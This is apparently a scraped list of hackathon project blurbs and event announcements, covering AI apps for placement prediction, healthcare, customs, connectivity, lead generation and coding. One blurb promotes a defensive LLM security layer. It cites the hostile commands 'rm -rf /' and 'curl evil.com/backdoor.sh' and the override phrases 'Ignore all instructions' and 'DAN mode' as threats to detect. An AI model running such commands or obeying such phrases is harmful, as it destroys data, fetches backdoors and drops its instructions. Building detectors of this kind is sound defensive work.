An AI-powered interactive web application built with Streamlit that predicts whether a candidate will get placed in a job (or admitted) based on academic performance and other features. The model simplifies decision-making for students, HR teams, and academic advisors by providing data-driven placement predictions. The user inputs academic and background features, including: SSC percentage HSC percentage Degree percentage MBA percentage Work experience Specialization Gender And more Inputs are one-hot encoded for categorical features. A Logistic Regression model (trained offline) is loaded using Pickle. The model outputs a binary prediction: “Placed” or “Not Placed”. The result is displayed on the Streamlit app in a clear, user-friendly format.

The Problem Large Language Models (LLMs) deployed in Security Operations Centers face critical vulnerabilities: 🔴 Command Injection: Malicious commands embedded in logs (rm -rf /, curl evil.com/backdoor.sh) 🔴 Credential Extraction: Jailbreak attempts to leak API keys and system prompts 🔴 Malware Generation: Requests for exploit code disguised as security analysis 🔴 Policy Override: "Ignore all instructions" and "DAN mode" attacks 🔴 SQL Injection: Database manipulation through crafted inputs 🔴 Phishing Generation: Social engineering content creation Our Solution Constitutional AI provides a production-ready defense layer with: ✅ 24 Constitutional Security Rules - Comprehensive threat coverage ✅ Real-Time Detection - <50ms regex-based pattern matching ✅ Side-by-Side Comparison - Vulnerable vs. protected responses ✅ Multi-Dataset Testing - JailbreakBench, LLMail-Inject, SOC Synthetic ✅ PDF Report Generation - Comprehensive audit documentation ✅ Streaming Inference - Cerebras Cloud SDK for real-time analysis ✅ Demo Mode - Realistic metrics without API calls

Agentica is a next-generation AI multi-agent orchestration platform designed to revolutionize how businesses and individuals interact with technology. Unlike single-purpose chatbots, Agentica deploys specialized AI agents—each with unique memory, roles, and goals—that collaborate autonomously like a virtual remote team. From fraud detection and phishing protection to customer support, workflow automation, and real-time communication, Agentica transforms complex processes into seamless, intelligent operations. Its modular design allows integration with APIs, AI models, and enterprise tools, making it scalable across industries such as healthcare, finance, and education. With Agentica, organizations gain efficiency, security, and innovation, unlocking the full potential of agentic AI to reshape the future of digital collaboration.

HealthBridge is an intelligent healthtech platform designed to revolutionize access to medical consultations. It allows certified doctors from around the world to create detailed profiles showcasing their specializations, availability, pricing, and certifications. Patients can search for doctors based on symptoms and location, and consult with them either virtually or in-person. Leveraging LLaMA for symptom understanding, multilingual translation, and patient-doctor interaction, and Groq for real-time AI inference, HealthBridge ensures lightning-fast and accurate responses. Features include AI symptom checkers, doctor filtering by budget and expertise, secure video consultations, and voice/text accessibility. It's a bridge between care and convenience for patients globally.

Manual processes, delays, and siloed information hinder efficient customs clearance, posing challenges to trade facilitation, compliance, and security. Effectively identifying high-risk shipments and sharing critical information across relevant government agencies like Bureu of Standards, Ministry of Health, and Police is a significant hurdle.Zimulikizi is an AI-powered multi-agent system designed to automate and intelligentize this process. It acts as a smart layer within customs import operations. The system is built with a multi-agent architecture where different agents specialize in key tasks.It begins by ingesting raw import data and associated documents (like invoices, permits, manifests) from sources akin to the Tax system. This data is then processed by agents leveraging advanced AI/ML models. Vision AI is used for document analysis, takes tasks like Optical Character Recognition (OCR), identifying and verifying stamps or seals, and extracting data from document images. Natural Language Processing (NLP) agents extract structured information from text fields and descriptions. Machine Learning models analyze the consolidated data to calculate a sophisticated risk score for each consignment and detect anomalies that might indicate non-compliance or security threats.Based on this comprehensive AI-driven analysis, an intelligent Routing Agent automatically determines which specific government agencies have a regulatory interest in that particular shipment. It then prepares and dispatches tailored information packets – containing only the data relevant to that agency's mandate e.g,health-related details of Health Dep, standards compliance info for BS, risk and importer data for Police).Automated processing delivers: accelerated low-risk shipment clearance high-risk inspections; real-time agency coordination . detection of misdeclarations, undervaluation, prohibited goods; and prevention of dangerous/illegal imports—enhancing efficiency, compliance, and security.

KONEKTA is an AI-driven digital connectivity platform designed to optimize resource allocation, enhance bandwidth efficiency, and provide smart knowledge discovery for underserved communities. 🔹 AI-Powered Smart Matching: NLP-driven recommendations connect educators, healthcare workers, and policymakers with the right resources and expertise. 🔹 Low-Bandwidth Optimization: Uses edge caching, PWA support, and lightweight AI models to enable offline-first access in poorly connected areas. 🔹 Energy-Efficient Network AI: Dynamically optimizes power consumption and bandwidth allocation, ensuring sustainable connectivity. 🔹 Public Sector Scalability: Enables schools, hospitals, and government institutions to deploy AI-powered digital services efficiently. KONEKTA’s real-time heatmaps and AI-driven analytics help visualize network utilization, ensuring seamless digital service delivery, even in constrained environments. 🚀

AdvancedLeadsGeneration-AI goes beyond existing lead generation solutions by introducing AI-driven agent discussions that critically evaluate potential clients. Unlike traditional systems that rely on predefined scoring models or simple CRM-based analytics, this solution simulates real-world business negotiations. Two AI agents engage in dynamic debates—one advocating for a lead while the other raises potential concerns—ensuring a comprehensive and unbiased assessment. What makes this project a crucial asset for lead generation is its ability to go a step further: it doesn’t just identify potential clients but actively discusses and judges businesses based on a company's specific sales strategy and historical data. By analyzing past successful deals and client interactions, the system refines its decision-making process, aligning lead evaluation with actual business goals. Built with Next.js, FastAPI, and IBM Watson AI, this solution seamlessly integrates with existing sales pipelines, offering a scalable, automated, and intelligent approach to lead qualification. This innovation not only saves time but also optimizes sales efforts, improves conversion rates, and enhances business decision-making with AI-driven insights.

Code Editor Extension Features The Code Editor Extension enhances coding by integrating an AI-powered chatbot, reducing context switching and improving workflow. Core Features 1. Chatbot Integration - Built-in AI chatbot provides instant assistance within the editor. 2. Context Awareness - Uses embeddings and vector databases for relevant responses. 3. Actions & Automation - Apply AI-suggested code changes with one click, execute terminal commands. Future Scope Context Aware Features 1. Git Integration - Enables natural language interaction, commit suggestions. 2. Internet Integration - Real-time access to documentation, Stack Overflow support. 3. Persistent Memory - Retains memory across sessions, recalls previous queries. 4. Codebase Database Connection - Intelligent query generation, AI-driven database insights. Editor Features 1. Auto Completion - Smart suggestions, reduces syntax errors. 2. Interactive Text Selection - Direct chat and editing on selected code. Documentation Features 1. Code Explainer - Visualizes codebases, auto-generates documentation. 2. AI Tutorial Generator - Creates project-specific tutorials. 3. Podcast Generation - Converts documentation into audio format. Advanced Features 1. Mobile Assistant - Voice interaction with the editor. 2. LLM Debugger - AI-driven issue identification and fixes. 3. Computer Automation - Automates code execution, system interactions. 4. Optimization Features - Multi-AI model support for performance tuning. Target Audience Developers & Teams – AI-assisted coding and collaboration. Maintainers – Code understanding and documentation. Tech Professionals – AI-driven optimization and workflow improvement. This extension revolutionizes coding, making development more efficient and streamlined.

An intelligent search and summarization tool Simplifies information retrieval Uses AI to fetch, summarize, and present research data , This tool enhances the user experience by providing real-time, personalized space data.Natural Language Processing (NLP) Answers questions like “Where is the ISS?” in simple language. Space Image Recognition Identifies celestial bodies in user-uploaded images. Personalized Recommendations Suggests stargazing dates and astronomical events. This tool enhances the user experience by providing real-time, personalized space data. / An intelligent search and summarization tool

⏱️ 15 days to design and ship a working Web3 product or agent. 📅 February 4 to 19, 2026 • Feb 4 – Hackathon opens. Teams can start building and submitting. • Feb 5 to 19 – Build, test, and iterate • Feb 19 – Final submissions due 🚨 Important eligibility reminder To be eligible for prizes, teams must post their submission video on X and tag @lablabai and @Surgexyz_. 🤝 Build solo or with a team. 💰 $50,000 prize pool in $SURGE Token. ⚠️ Self-service hackathon This is a fully self-service hackathon. There are no live streams, kickoff sessions, or scheduled workshops. Participants can register, build, and submit at any time before the submission deadline.

Join our $1,000,000+ startup challenge series powered by Surge ⏱️ 8 days to turn your idea, or existing product, into an investable demo. 📅 February 6 - 15, 2026 • Feb 6 - 14 (Online Phase) - Collaborate and build online with developers and AI innovators from around the world. All projects must be submitted by the end of the online phase on February 14th. 🕙 Doors open at 10:00 AM, first come, first served. • Feb 14 (On‑site Build Day) - Selected participants will be invited to an exclusive in‑person session to refine their projects and connect directly with mentors. • Feb 15 (On‑site Demos & Awards) - Live pitching sessions to a panel of judges and ecosystem partners, followed by the official winner announcement. 🌟 Get feedback from startup mentors and technical experts. 📍 On-site Venue (Feb 14–15): MindsDB SF AI Collective 3154 17th St, San Francisco, California, USA 📲 Real-time on-site updates (SF) For real-time announcements and information during the on-site portion (Feb 14–15), join the LabLab SF Chapter WhatsApp group: 👉 Join the WhatsApp group 🤝 Join solo or with a team. New founders and existing startups are welcome. 🏆 $1,000,000+ in credits, token prizes, perks and funding opportunity. 📍 On-site participation is by invitation only. Travel and accommodation expenses will not be covered. 🧑‍💻 Apply now to build, validate, and pitch with purpose.

🔧 Spend 10 days launching your startup! 🚀 Improve your prototype previously developed at hackathons. 🤜 Collaborate with peers or work independently throughout the Hackathon. 🤖 Gain complimentary access to learning resources about Generative AI models, AI Agents, and beyond. 🚀 Explore opportunities with GAIA Startup Accelerator for Hackathon victors. 🌍 Connect and innovate alongside a worldwide AI community!

⌚ Dive into a 48-hour journey of creativity. 🚀 Compete to craft an app supercharged by Llama 3. 🎓 Expert mentors will guide you every step of the way. 🏆 Win an opportunity to participate in the Lablab NEXT acceleration program, exciting cash prizes, credits, and gear from LlamaIndex, Together AI & Zilliz 🧑🏻‍💻 Sign up before the Kick-Off Stream to secure your spot!

Create your product using Codestral, Mistral's first-ever open-weight generative AI model for code generation. 🕒 24 hours to complete the challenge. 💡 Implement any idea that uses Codestral at its core. 🤝 Take part alone or form a team with other participants. 🏆 Win an opportunity to participate in LabLab NEXT acceleration program